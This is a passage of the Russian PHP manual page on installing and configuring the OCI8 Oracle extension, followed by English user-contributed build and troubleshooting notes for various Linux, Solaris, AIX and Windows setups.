    Обратите внимание: Не вводите имя переменной, такое как $ORACLE_HOME или $HOME т.к. она не будет развёрнута. Вместо этого, введите полный путь. Например /opt/oracle/product/19c/dbhome_1 или instantclient,/Users/myname/Downloads/instantclient_19_8.

  • Ошибка oci8_dtrace_gen.h: No such file or directory означает, что PHP был собран с поддержкой DTrace Dynamic Tracing. В таком случае устанавливайте так:

    $ export PHP_DTRACE=yes
$ pecl install oci8

  • Добавьте в php.ini следующую строку:

    extension=oci8.so

    Убедитесь, что oci8.so установлен в директорию, заданную в директиве extension_dir файла php.ini.

Установка OCI8 из PECL с помощью phpize

Если по каким-то причинам нет возможности воспользоваться командой pecl, можно самостоятельно загрузить пакет с сайта » PECL. Например oci8-3.0.0.tgz.

  • Разархивируйте пакет:

    tar -zxf oci8-3.0.0.tgz
cd oci8-3.0.0

  • Подготовьте его:

    phpize

  • Сконфигурируйте используя $ORACLE_HOME или Instant Client

    ./configure -with-oci8=shared,$ORACLE_HOME

    or

    ./configure -with-oci8=shared,instantclient,/path/to/instant/client/lib

  • Проинсталлируйте:

    make install

  • Ошибка oci8_dtrace_gen.h: No such file or directory означает, что PHP был собран с поддержкой DTrace Dynamic Tracing. В таком случае перезапустите configure и make, предварительно установив переменную окружения:

    $ export PHP_DTRACE=yes

  • Добавьте в php.ini следующую строку:

    extension=oci8.so

    Убедитесь, что oci8.so установлен в директорию, заданную в директиве extension_dir файла php.ini.

Установка OCI8 в виде подгружаемого (shared) модуля во время сборки PHP

Указание опции конфигурации shared позволяет собрать OCI8 в виде динамически подгружаемой библиотеки. Сборка в виде подгружаемого модуля позволяет легко обновлять OCI8 без пересборки всего PHP.

Соберите OCI8 с помощью одной из следующих опций.

  • При использовании бесплатных библиотек » Oracle Instant Client:

    ./configure --with-oci8=shared,instantclient,/путь/к/instant/client/lib

    Если Instant Client 12.2 (или более ранний) установлен из ZIP-архива, не забудьте в первую очередь создать символическую ссылку на библиотеку, например, так: ln -s libclntsh.so.12.1 libclntsh.so.

    Если Oracle Instant Client был установлен с помощью RPM, команда конфигурации будет выглядеть так:

    ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/<version>/client/lib

    Например, --with-oci8=shared,instantclient,/usr/lib/oracle/19.9/client/lib

  • При использовании базы данных Oracle database или полной установке Oracle Client:

    ./configure --with-oci8=shared,$ORACLE_HOME

    Убедитесь, что пользователь, под которым запущен веб-сервер, (nobody, www) имеет доступ к библиотекам, файлам инициализации и tnsnames.ora (если используется) в папке $ORACLE_HOME. При использовании Oracle 10gR2, может понадобиться запуск утилиты $ORACLE_HOME/install/changePerm.sh для получения доступа к этой папке.

После настройки следуйте обычной процедуре сборки PHP, например, make install, после чего будет создано подгружаемая библиотека oci8.so. Возможно, вам потребуется вручную перенести её в папку модулей PHP, указанную опцией extension_dir вашего php.ini.

Для завершения установки OCI8 добавьте следующую строку в php.ini:

extension=oci8.so

Установка OCI8 в виде статически скомпилированного модуля

Сборка PHP со статическим подключением OCI8, используя одну из следующих конфигурационных опций.

  • При использовании Oracle Instant Client:

    ./configure --with-oci8=instantclient,/путь/к/instant/client/lib

  • При использовании базы данных Oracle или полной установке Oracle Client:

    ./configure --with-oci8=$ORACLE_HOME

После настройки следуйте обычной процедуре установки PHP, например, make install. После успешной сборки нет необходимости добавлять oci8.so в файл php.ini. Никаких дополнительных шагов сборки больше не требуется.

Установка OCI8 в Windows

Модуль OCI8 можно добавить в PHP с помощью библиотек из репозитория » PECL или из директории ext, содержащейся в вашей инсталляции PHP.

Для библиотек Oracle 12c (и выше), раскомментируйте соответствующую строку в php.ini: extension=php_oci8_12c.dll, extension=php_oci8_11g.dll или extension=php_oci8.dll. Единовременно можно использовать только одну из этих библиотек. Более новые библиотеки могут содержать более продвинутый функционал. Состав доступных библиотек может меняться в зависимости от версии PHP. Убедитесь, что extension_dir указывает на директорию, содержащую библиотеки модулей PHP.

При использовании Instant Client, установите системную переменную окружения PATH на папку с библиотекой Oracle.

Установка окружения Oracle

Перед использованием данного модуля, убедитесь, что переменные окружения Oracle правильно настроены для пользователя, под которым работает веб-сервер. Если ваш веб-сервер автоматически стартует при загрузке, то убедитесь, что окружение при загрузке также настроено корректно.

Замечание:

Не устанавливайте переменные окружения Oracle через putenv() в PHP-скрипте, потому что библиотеки Oracle могут быть загружены и проинициализированы до запуска вашего скрипта. Переменные, установленные через putenv() могут затем вызывать конфликты, падения и прочее непредсказуемое поведение. Некоторые функции могут работать, в то время как другие давать мелкие ошибки. Необходимо устанавливать эти переменные до запуска веб-сервера.

В Red Hat Linux и его вариантах, экспортируйте переменные в конце файла /etc/sysconfig/httpd. Другие системы с Apache 2 могут использовать скрипт envvars из папки bin в дистрибутиве Apache. Третьим вариантом является директива Apache SetEnv в файле httpd.conf, на каких-то системах она может работать, однако, известно, что на некоторых её недостаточно.

Чтобы удостовериться в корректной настройке переменных окружения, используйте функцию phpinfo() и проверьте, что раздел Environment (не Apache Environment) содержит ожидаемые переменные.

Следующая таблица содержит переменные, которые могут вам потребоваться. За подробностями обо всех доступных переменных обращайтесь к документации Oracle.

Общие переменные окружения Oracle
Название | Цель
ORACLE_HOME | Указывает на папку, с полностью установленной базой данных Oracle. Не устанавливайте эту переменную при использовании Oracle Instant Client, т.к. в этом нет необходимости и может вызвать проблемы при установке.
ORACLE_SID | Содержит имя базы данных на локальной машине, к которой идёт подключение. Нет необходимости устанавливать эту переменную при использовании Oracle Instant Client, или всегда передавать в параметрах соединения в функцию oci_connect().
LD_LIBRARY_PATH | Установите эту переменную (или её эквивалент на используемой платформе, например, LIBPATH или SHLIB_PATH) в местоположение библиотек Oracle, например, $ORACLE_HOME/lib или /usr/lib/oracle/18.5/client/lib. Обратите внимание, что для ZIP архивов Instant Client в Linux более надёжно использовать ldconfig. Обратитесь к инструкции по установке Instant Client. Для RPM пакетов Instant Client 19 (и старше), ldconfig, будет запущен автоматически. Кто-то использует LD_PRELOAD вместо LD_LIBRARY_PATH.
NLS_LANG | Это основная переменная, используемая для указания кодировки и настроек глобализации в библиотеках Oracle.
ORA_SDTZ | Устанавливает часовой пояс сессии Oracle.
TNS_ADMIN | Содержит папку, в которой хранятся конфигурационные файлы Oracle Net Services, такие как tnsnames.ora и sqlnet.ora. В ней нет необходимости, если строка соединения в функции oci_connect() использует синтаксис Easy Connect, такой как, например, localhost/XE. В ней также нет необходимости, если сетевые конфигурационные файлы содержатся в местах хранения по умолчанию, таких как /usr/lib/oracle/VERSION/client/lib/network/admin, $ORACLE_HOME/network/admin или /etc.
Менее используемые переменные окружения Oracle включают в себя TWO_TASK, ORA_TZFILE, а также различные установки глобализации Oracle наподобие переменных NLS* и ORA_NLS_*.

Решение проблем

Самой частой проблемой при установке OCI8 является неправильная установка окружения Oracle. Обычно это выражается в проблеме при использовании функций oci_connect() или oci_pconnect(). Ошибка может проявляться в виде ошибок PHP, например, Call to undefined function oci_connect(), ошибок Oracle, таких как ORA-12705, или даже крушения Apache. Проверьте лог-файлы Apache на наличие ошибок запуска и вышеописанные разделы для разрешения этой проблемы.

Несмотря на то, что сетевые ошибки, наподобие ORA-12154 или ORA-12514 сигнализируют об ошибке в именовании или конфигурации сети Oracle, реальной причиной может быть некорректно установленное окружение PHP, из-за чего библиотеки Oracle не могут найти конфигурационный файл tnsnames.ora.

В Windows, использование нескольких версий Oracle на одной машине может легко вызвать их конфликты, которых можно избежать при соблюдении особых мер предосторожности, предусматривающих, что PHP использует корректную версию Oracle.

Утилита, помогающая определить искомые и загруженные в итоге библиотеки, может помочь в случае проблем при отсутствующих или конфликтующих библиотеках, особенно в Windows.

Замечание: Если веб-сервер не стартует или падает при старте

Проверьте, что Apache собран с библиотекой pthread:

# ldd /www/apache/bin/httpd
  libpthread.so.0 => /lib/libpthread.so.0 (0x4001c000)
  libm.so.6 => /lib/libm.so.6 (0x4002f000)
  libcrypt.so.1 => /lib/libcrypt.so.1 (0x4004c000)
  libdl.so.2 => /lib/libdl.so.2 (0x4007a000)
  libc.so.6 => /lib/libc.so.6 (0x4007e000)
  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Если libpthread нет в списке, переустановите Apache:

# cd /usr/src/apache_1.3.xx
# make clean
# LIBS=-lpthread ./config.status
# make
# make install

Имейте в виду, что на некоторых системах, наподобие UnixWare, libpthread называется libthread. Таким образом, PHP и Apache должны быть настроены с помощью EXTRA_LIBS=-lthread.

User Contributed Notes

Wilber 09-Jul-2022 03:01
The OCI8 extension lets you access Oracle Database.

Use 'pecl install oci8' to install for PHP 8.1.

Use 'pecl install oci8-3.0.1' to install for PHP 8.0.

Use 'pecl install oci8-2.2.0' to install for PHP 7.

Use 'pecl install oci8-2.0.12' to install for PHP 5.2 - PHP 5.6.

Use 'pecl install oci8-1.4.10' to install for PHP 4.3.9 - PHP 5.1.

[username@hostname ~]# php -v
^ To see PHP version
semenov dot v at gmail dot com 17-Jun-2019 05:36
CentOS 7 PECL with oci8-2

After documented installation stucks

$ yum install systemtap-sdt-devel
$ export ORACLE_HOME=/usr/include/oracle/XX.X/client64
$ LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export $ LD_LIBRARY_PATH
$ export PHP_DTRACE=yes
$ C_INCLUDE_PATH=/usr/include/oracle/XX.X/client64 pecl install oci8
[autodetect]
$ echo extension=oci8.so > /etc/php.d/instantclient.ini
$ systemctl reload https
wingjeeplau at gmail dot com 03-Jul-2013 11:38
In Ubuntu the setting is in file /etc/apache2/envvars
Sergey 03-Oct-2012 08:31
Lost a day on trying to make work oci8 & pdo_oci extensions in php-fpm 5.3 on OpenSuSE 12.2 (64bit) with latest oracle instant client 11.2.0.3.0.
Any of two works normally with generic instructions. But both extensions caused crash in oci_connect().

Solution was simple add ORACLE_HOME variable BEFORE running php-fpm.

/etc/profile.d/oracle.sh
#!/bin/bash
ORACLE_HOME=/usr/lib/oracle/11.2/client64
LD_LIBRARY_PATH=$ORACLE_HOME/lib
NLS_LANG=american_america.utf8
export ORACLE_HOME LD_LIBRARY_PATH NLS_LANG

/etc/init.d/php-fpm
.....
. /etc/rc.status
. /etc/profile.d/oracle.sh # add this after rc.status (note: dot & space)
.....

After "service php-fpm restart" works normally. Hope this helps.
Saxon Leung 21-Feb-2012 09:12
Spending long time in researching how to install this on a freshly installed [Red Hat-based (RHEL, CentOS, Fedora)] Linux, and finally I come to this:

1) Download & install

#yum install oracle-instantclient-basic
#yum install oracle-instantclient-devel

or

Download:
oci8-1.4.7.tgz
oracle-instantclient11.2-basic-11.2.0.3.0-1.x86_64.rpm
oracle-instantclient11.2-devel-11.2.0.3.0-1.x86_64.rpm

#rpm -i oracle-instantclient11.2-basic-11.2.0.3.0-1.x86_64.rpm
#rpm -i oracle-instantclient11.2-devel-11.2.0.3.0-1.x86_64.rpm

2) Check PHP version:

#rpm -qa | grep php

It should looks sth like this:
php-devel-5.3.10-1.w5
php-pdo-5.3.10-1.w5
php-ldap-5.3.10-1.w5
php-cli-5.3.10-1.w5
php-mysql-5.3.10-1.w5
php-5.3.10-1.w5
php-common-5.3.10-1.w5

3) Update if needed by:

#yum --enablerepo=webtatic update php

** Make sure you have php-devel installed before updating to a newer version, or you might have problem to add package back. If it happened, you\\'ll have to reinstall all php packages (sadly I did):

#yum remove php-common
#yum --enablerepo=webtatic install php

4) Remember to install a C compiler for installation use:
#yum install gcc

5) Unzip oci8-1.4.7.tgz:
#tar xvzf oci8-1.4.7

6) Run phpize (php-devel required):
# phpize

7) Setup Config:
# ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/11.2/client64/lib

8) Add a sym-link to the SDK header files (Comes with the instantclient-devel)

#ln -s /usr/include/oracle/11.2/client64/ /usr/lib/oracle/11.2/client64/lib/include

** The installation defaults to use 1 dir path only, so the missing SDK files need to add back to that directory, by adding a sym-link \\"include\\" under the lib folder.

9) Compile and install:
#make all install

[Please note that I'm installing on a 64-bit platform so links are pointing at client64 instead of client]
modir at huanga dot com 23-May-2011 03:02
For those of you who would like to install this extension on an RedHat/CentOS server. It is actually pretty simple.

Here is what you have to do:
1) Download the following RPM from Oracle: oracle-instantclient11.2-basiclite-11.2.0.2.0.x86_64.rpm (Version number can be newer and check if you need the 64bit version or not). And then install it on the server.

2) yum install php-oci8

3) And as the last step you edit /etc/sysconfig/httpd and write the following line at the end: export LD_LIBRARY_PATH=/usr/lib/oracle/11.2/client64/lib/ (Attention: Path changes depending on the version you have downloaded from the Oracle website.)
beer at myplace dot now 03-Aug-2009 10:24
I was experiencing issues with Unicode characters being saved incorrectly to my ORA 10 DB. Issue was tracked to not having a NLS_LANG environment variable specified - set this correctly in the Apache environment and the issue was resolved.
benstendahl at hotmail dot com 13-Jul-2009 11:46
When using PHP on an IIS server (Windows Server 2000+):

After installing the Oracle Instant Client and adding it to the "PATH" Environment Variable, be sure that you also add "Read & Execute" privileges to the Oracle Instant Client directory for the IIS user designated for the site.  This is especially necessary if IIS has been hardened using the IIS Lockdown tool (http://technet.microsoft.com/en-us/library/dd450372(WS.10).aspx) as users must be explicitly granted permissions from the web.
nicodenboer (at) yahoo (dot) com 22-Nov-2008 09:35
Hi, I use Oracle Database 10g Express Edition Release
10.2.0.1.0 on a Linux workstation for dev purposes, along
with Apache 2 and PHP5. So far I have used it on Kubuntu 8.04.
To get things working on a recently installed notebook with openSUSE
11.0 was a bit more complicated. So I hope someone will be able to
benefit from our experiences. Here is our howto:

# Use the package manager to install the packages php5-pear and
php5-dev, if not installed yet.

# Download the instantclient_11_1, zip files basic, sdk, sqlplus from the Oracle web site

# Switch to user root here, since not all commands to some work sudo

# Unzip these files to /opt/oracle/.
# As a result you will see a dir instantclient_11_1 appearing.

ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /opt/oracle/instantclient_11_1/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libclntsh.so.11.1 \
   /usr/lib/libclntsh.so
ln -s /opt/oracle/instantclient_11_1/libnnz11.so \
   /usr/lib/libnnz11.so
ldconfig # to make sure the system will be able to find the libs

pecl install oci8 # interactively enter option 1,
# then instantclient,/opt/oracle/instantclient_11_1,
# then enter

# if needed, add extension=oci8.so to your php.ini

/etc/init.d/apache2 reload

# finished!

Kind regards,
Nico den Boer
alvaro at demogracia dot com 10-Jun-2008 04:24
If you've followed the instructions and you can't even connect to the DB server, welcome to the Oracle hell. Most of the information you'll find is deprecated, incomplete, not for your platform, unnecessary or just plain wrong.

Typically, you won't need at all those complicate setups you'll read about and they'll probably make things harder. I suggest you get Systernal's "Filemon" utility (for Windows, in Unix you may do with strace) and find out what exact config files and DLLs are being tried by php.exe (or httpd.exe if PHP runs as Apache module or...). Pretty often, the issue is that (e.g.) TNSNAMES.ORA does not have the correct line ending or Apache is looking for a DLL that does not even exist in your hard disc; learning that prevents you to waste time adding more and more useless environmental variables.

Goog luck.
mike at macgirvin.com 20-May-2008 06:05
Some notes to save somebody some grief:

Installing the Oracle libraries and access module into an existing PHP5 installation on Debian etch without rebuilding php...

First grab the Linux instantclient from oracle.com - you'll also need the client SDK kit. Here I'm using instantclient 11.1

create a directory for these such as /home/oracle and unpack both of them to that directory.

Go into the oracle directory (and into the instantclient_11_1 directory) and create a symlink:

$ ln -s libclntsh.so.11.1 libclntsh.so

Grab the oci8 PECL package and unpack it somewhere (~/oci).

Make sure you have the following packages (in addition to php5, php5-cli, apache2, etc).

  php5-dev

  libaio1

  php-pear

Go to the oci8 directory (~/oci/).

You need to run 'pecl build' once to create the configure script.

$pecl build

But the problem is that pecl build will claim the files are installed and they are not. I wasted half a day on this one. Now go into the oci8-1.3.0 directory and build again by hand:

$ cd oci8-1.3.0

$ ./configure --with-oci8=instantclient,/home/oracle/instantclient_11_1

$ make

Fix any errors/warnings before continuing

Don't make install, which won't work.

$ cp ./modules/oci8.so /usr/lib/php5/20060613+lfs

Replace 20060613+lfs with whatever module directory has been setup for you in /usr/lib/php5

Create /etc/php5/conf.d/oci8.ini:

----

extension=oci8.so

----

Now run the php cmdline in verbose mode (php -v) and see if everything loaded. Fix it if it didn't.

You may need some env variables setup in your /etc/init.d/apache2 file to make everything work and actually execute queries, but a phpinfo() at this point should show your oci8 extension. See the php.net Oracle pages if you need help with the env variables.

Restart the web server

$ /etc/init.d/apache2 restart
david dot reynoldsat at ipl dot com 10-Apr-2007 07:56
I had a problem loading php_oci8.dll with php 5.2, Apache, and windows XP - a module not loaded error, on every apache restart.
I eventually found that I had to add the oracle instantclient library path to the %PATH% under SYSTEM and not under USER.  Doing that, and then rebooting, fixed the error - as Apache is starting as a service (outside the user setup).
jay dot couture at gmail dot com 06-Dec-2006 03:26
# Here's what it took to get it going for me on Red Hat on
# x86_32 w/ 10gr2 and php5.1.2
# I sincerely appreciate all of the other poster's notes.
# It was a combination of a few
# of them to get mine configured. My note should reflect this:

# install the instantclient basic and sdk like this
# note: the original poster had you install into a lib subdirectory,
# but when I tried this it couldn't find the sdk files. So I moved
# the files in lib into the parent directory as
# shown below. Actually I copied them, YMMV
mkdir -p /usr/lib/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-basic-linux-x86-32-10.2.0.2-20060331.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-sdk-linux-x86-32-10.2.0.2-20060331.zip
ln -s /usr/lib/oracle/10.2.0.2/client/libclntsh.so.10.1
    /usr/lib/oracle/10.2.0.2/client/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

#php configure line is:
    ./configure --with-oci8=instantclient,/usr/lib/oracle/10.2.0.2/client

# I had to do this, or the OCI8 would not compile when
# I ran make on PHP5.1.2 I did not do this originally when I
# had the files in the lib sudirectory (see my note above) so
# that may be the true issue.
export LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH

make

make install

#In apache2 edit the envvars and add
LD_LIBRARY_PATH="/usr/local/apache2/lib:
    /usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH"
TNS_ADMIN="/usr/lib/oracle/10.2.0.2/client"
LANG=en_US
export LD_LIBRARY_PATH LANG TNS_ADMIN

#Restart Apache

Jay
rainer dot klier at gmx dot at 22-May-2006 02:08
estoreic (note from 15-May-2006 10:54) is right.

there seems to be a problem with the oci8-api-functions in php 4.4.x.

there are error-messages like these in the error_log:
child pid 22297 exit signal Segmentation fault (11)
*** glibc detected *** double free or corruption (out): 0x00000000019f4730 ***
*** glibc detected *** double free or corruption (!prev): 0x0000000001111d90 ***
*** glibc detected *** corrupted double-linked list: 0x0000000001111d50 ***

using php 4.4.x with oracle 10.x is impossible, until you do the following:
1. download latest oci8-package from http://pecl.php.net/package/oci8
2. extract package somewhere
3. go to php-4.4.x-source directory
4. rm -rf ext/oci8
5. cp extraceted oci8-1.2.x directory to/as ext/oci8
6. make distclean
7. ./buildconf --force
8. ./.configure (with the options you need)
9. make
10. only for x86_64:
create pear-install.ini:
-----------------------------------------------
[PHP]

memory_limit = 128M      ; Maximum amount of memory a script may consume (8MB)
------------------------------------------------

11. edit Makefile:
replace:
PEAR_INSTALL_FLAGS = -n -dshort_open_tag=0 -dsafe_mode=0
with:
PEAR_INSTALL_FLAGS = -cpear-install.ini -dshort_open_tag=0 -dsafe_mode=0

12. make install

have fun!
oracle connections will work now!
f dot kheiri at ucl dot ac dot uk 29-Apr-2006 07:40
To compile PHP 4.4.2 with OCI8 / Oracle 9i / AIX 5.2 (64-bit) / GCC

PHP will automatically compile against the Oracle 64-bit libraries, which PHP being a 32-bit app, will cause "make" to fail (though it will configure fine). Here's how to avoid this:

1. replace your PHP's ext/oci8 directory with the latest ext/oci8 directory downloadable from PECL - then remove the old directory entirely

2. rebuild configure by running:

./buildconf --force

...in PHP's root directory. This will rebuild the configure script.

3. using a tool like sed, in your configure file replace all instances of /path/to/oracle/lib with /path/to/oracle/lib32 - note, this may require GNU's autoconf, m4 and gnumake.

4. export LD_LIBRARY_PATH=/path/to/oracle/lib32

5. ./configure --with-oci-8=/path/to/oracle (and any other options)

Then, the usual make and make install.
25-Apr-2006 03:29
# here's what it took to get it going for me on rhel4 on x86_64 w/ 10gr2 and php5.0.5
# hopefully this will save someone a little grief
# first you must install the 10.2 full client in /app/oracle/product/10.2.0/db_1
# follow all the instructions. This part will be a bitch.

# install the instantclient basic and sdk like this
mkdir -p /usr/lib/oracle/10.2.0.2/client/lib
unzip -jd /usr/lib/oracle/10.2.0.2/client/lib instantclient-basic-linux-x86-64-10.2.0.2-20060228.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client instantclient-sdk-linux-x86-64-10.2.0.2-20060228.zip
ln -s /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so.10.1 /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

php configure line is: --with-oci8=/app/oracle/product/10.2.0/db_1/
scoop at subindie dot com 26-Oct-2005 01:27
Regarding compiling with the recently updated OCI8 Extension (http://pecl.php.net/package/oci8).

I ran into problems when statically compiling, such as numerous "undefined reference to `zif_oci_***'" errors.  Since I likely won't be the only one to run into this problem, here's some helpful hints:

If you've previously compiled your php installation, first: make clean

Then replace the existing php-x.x.x/ext/oci8 directory with the latest package from: http://pecl.php.net/package/oci8

./buildconf --force
./config ..
make
ben at onshop dot co dot uk 06-Jul-2005 08:51
I spent ages trying work out why I was getting the following message when when using ocilogon() on Windows 2000 using PHP 4 and 5:

ORA-03106 Fatal two-task communication protocol error

This problem is occurs when PHP cannot find ORACLE client environmental variables.

The environmental variables can be set in several ways:

1. Within the root 'Directory' directive on Apache httpd.conf:

<Directory "d:/path/to/webroot">
  SetEnv ORACLE_BASE "c:/oracle"
  SetEnv ORACLE_HOME "c:/oracle/ora81"
  SetEnv NLS_LANG "american_america.WE8DEC"
  SetEnv NLS_CHARACTERSET "WE8DEC"
  SetEnv NLS_NCHAR_CHARACTERSET "AL16UTF16"
</Directory>

or

2. Within Windows:

Go to the Control Panel>System>Advanced>Environmental Variables

Then enter a name value/pair for each of the variables.

3. Using putenv() statements in the PHP file prior to using ocilogon(). This is not ideal because the statements are required evertime you wish to connect to Oracle.
denis dot delamarre at chu-rennes dot fr 09-Jun-2005 10:00
php5 + Apache 2 + solaris 2.10 + oracle9i (64bits)

'./configure' '--with-oracle=/prod/dba/oraeve/ora9i' '--with-apxs2=/usr/local/apache2/bin/apxs' '--with-zlib' '--with-gd' '--without-mysql' '--with-oci8=/prod/dba/oraeve/ora9i'

fail with :
ld: fatal : fichier libclntsh.so : wrong elf class : ELFCLASS64

the solution is between ./configure and make command to edit Makefile and replace /ora9i/lib  with  /ora9i/lib32

all it's ok
MSapp 06-Jun-2005 06:48
Problems compiling 5.0.4 with Oracle Instant Client 10? (i.e. cannot find -lirc)

Remove the "-lirc" from sdk/demo/sysliblist and rerun configure.
kucerar at hhmi dot org 23-Feb-2005 08:29
Great Solaris patch!  Finally built.  Here's some tips on connecting:

Just made this on solaris8 32bit, actually works.

1) put everything in one directory
2) unsetenv ORACLE_HOME
3) set the env vars LD_LIBRARY_PATH and SQLPATH and TNS_ADMIN(if you have it) to that directory.
4) use one of the other easy connection notations here

http://www.oracle.com/technology/
docs/tech/sql_plus/10102/readme_ic.htm

These env vars worked when put at the top of apachectl script as well.

To build you may have to fake it out with an ORACLE_HOME var,  but unset it later.  You may also have to fake out the build by putting header files where it is looking for them,  e.g. in the rdbms/demo directory or some such other place.

When running though,  make sure you have only the files required in only one directory.

Oracle has not put up a link to the 32bit solaris sqlplus--you have to guess it--it's there though:

http://download.oracle.com/otn/solaris/instantclient/
instantclient-sqlplus-solaris32-10.1.0.3.zip

...and don't forget to add ".world" on to the end of your SID. It's very common to have to specify DBNAME.WORLD to connect.
neogodo at yahoo dot com dot br 06-Aug-2004 06:15
Hey guys!!!!

 I have all these problems and when are solved a php show this:

_oci_server ORA-12159:connection text especified is too long

It's simple!!!

  In the TNSNAMES.ORA remove all space, tab, carriage return on the conection string and, wallah!!! All work fine!!!

  More info:

   PHP 5.0.0  with Oci8
   Apache 1.3

Regards,
Romolo (neogodo@yahoo.com.br).
DBA Oracle
Brazil - SP - Sao Paulo
mark at magpies dot net 05-Jul-2004 09:07
For those trying to use the Oracle Instant Client 10g in a win32 environment, heres a nice easy howto. If you fully read the docs properly and understand what your reading you will be able to set it up, but if like me you want a quick easy fix, heres how I did it.

1. Download and install the Oracle Instant Client to where ever (lets say  c:\ora\client  )
2. Add your connect info, copy a previously created or provided tnsnames.ora file to the above directory.
3. Change Path in the Environment Variables area to add this directory to the path. ie.  c:\ora\client;%SystemRoot%;<and so on>
4. Open regedit and add a Key called ORACLE to HKEY_LOCAL_MACHINE\SOFTWARE
5. To the ORACLE key add a string value called TNS_ADMIN and assign it the directory above (ie. c:\ora\client )  So you end up with KEY_LOCAL_MACHINE\SOFTWARE\ORACLE\TNS_ADMIN = c:\ora\client
6. Set php to use Oci8 extension and bobs your uncle
7. Reboot.

Option 7 was required as the oci8 extension or php wouldn't pick up the path change. Also my problem was how to use other programs like sqlplus without creating extra Environment Variables etc the TNS_ADMIN / tnsnames.ora part makes that simpler and allows you to call things the same as you would before.

PS: This should apply to all the Instant Clients. I haven't tried it with any others but 10g though.

Hope this helps.
ed000001 at hotmail dot com 01-Jul-2004 03:04
If you get your connectivity working with putenv on ORACLE_SID and ORACLE_HOME, but you do not want to use putenv because you want safemode on. You will need to pass these from your environment variables.  Somehow setenv in httpd.conf did not do the trick for me... the values are set but the connectivity does not work.  Then you will need to set the environment in your /etc/init.d/apachectl or /etc/profile and use a "PassEnv ORACLE_HOME ORACLE_SID" directive in httpd.conf so that these variables are picked up by php.

However, when you suexec in Apache 2.0, the server will only allow you to pass a given set of variables which are defined in the apache source code in the file apache-dir/support/suexec.c

In order to pass ORACLE_SID and ORACLE_HOME to PHP you need to add these to that file.  The relevant changed piece of code where I added "ORACLE_" looks something like this:

char *safe_env_lst[] =
{
    /* variable name starts with */
    "HTTP_",
    "SSL_",
    "ORACLE_",

    /* variable name is */
...

You will have to do a "make clean", "./configure", "make", "make install".  Do not forget to do the "make clean" or the apache changes will not be picked up.

Here is a nice php test script :)

<?php // test-oracle.php

    function dump_array($a_value)
    {
        reset($a_value);
        for ( $s_str = '' ; list($s_key, $x_value) = each($a_value) ;  )
        {
            $s_str .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".
                      "<span style=\"color:green\">[</span>$s_key<span style=\"color:green\">]</span> = ".
                      "<span style=\"color:red\">[</span>$x_value<span style=\"color:red\">]</span><br />";
        }
        reset($a_value);
        echo $s_str;
    }

#putenv("ORACLE_SID=ORTD");
#putenv("ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0");
$ORACLE_SID = getenv("ORACLE_SID");
$ORACLE_HOME = getenv("ORACLE_HOME");
echo "ORACLE_SID = $ORACLE_SID<br>";
echo "ORACLE_HOME = $ORACLE_HOME<br>";

    $cn = ociplogon('scott', 'tiger');
echo "cn = $cn<br />\n";
    $st = ociparse($cn, "select tname from tab");
echo "st = $st<br />\n";
    $ex = ociexecute($st,OCI_COMMIT_ON_SUCCESS);
echo "ex = $ex<br />\n";
    $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    while ( $mr )
    {
        dump_array($xx);
        $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    }
    $fr = ocifreestatement($st);
echo "fr = $fr<br />";
    ocicommit($cn);
    ocilogoff($cn);
?>
oddbec_no_more_spam_kthx at online dot no 24-Feb-2004 08:49
I had trouble with norwegian characters using oracle 8.7.1 / php 4something and Apache 2.

The only trouble was that '?' appeared instead of the norwegian characters.

The solution to it all was to add this to the apachectl script:

export NLS_LANG="norwegian_norway.WE8ISO8859P1"
export ORACLE_BASE="/home/oracle"
export ORA_NLS33="/home/oracle/ocommon/nls/admin/data"
export ORACLE_TERM="ansi"
export ORACLE_HOME="/home/oracle"
export LANG="no_NO"

I'm not sure if all of these are necessary, but I took no change, and it works now :)
aleigh at tessier dot com 16-Nov-2003 03:16
Warning: ocilogon(): _oci_open_session: OCIHandleAlloc OCI_HTYPE_SVCCTX: OCI_INVALID_HANDLE can also be caused by running the webserver with an ORACLE_HOME of a (radically?) different version than PHP was linked against.

I experienced this when I accidently used an Oracle 8 ORACLE_HOME for a PHP that was linked against Oracle 9.
aliquis at die dot spammers dot die dot link-net dot org 23-Oct-2003 06:39
I've had all kinds of errors with RedHat9(yuck), PHP 4.3.4RC1 and Oracle enterprice server 9.2. For some time I thought that --with-oci8 wouldn't work with Oracle9 but that wasn't the case, the solution was many steps.

1) install oracle, might require some tricks, on RedHat9 I had to put this in my .bashrc:
export ORACLE_BASE=/opt/ora9
export ORACLE_HOME=$ORACLE_BASE/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_OWNER=oracle
export ORACLE_SID=netadmdb
export ORACLE_TERM=vt100
export LD_ASSUME_KERNEL=2.4.1
export THREADS_FLAG=native
export LD_LIBRARY_PATH=$ORACLE_BASE/product/9.2/lib:$LD_LIBRARY_PATH

2) compile php, use --with-oci8

3) Make an init-script for the oracle9 database server, as default the TNS listener doesn't run so add that on aswell, example:
#!/bin/bash
export ORACLE_HOME=/opt/ora9/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_SID=netadmdb
export DISPLAY=:0
oracle_user=oracle
export oracle_user
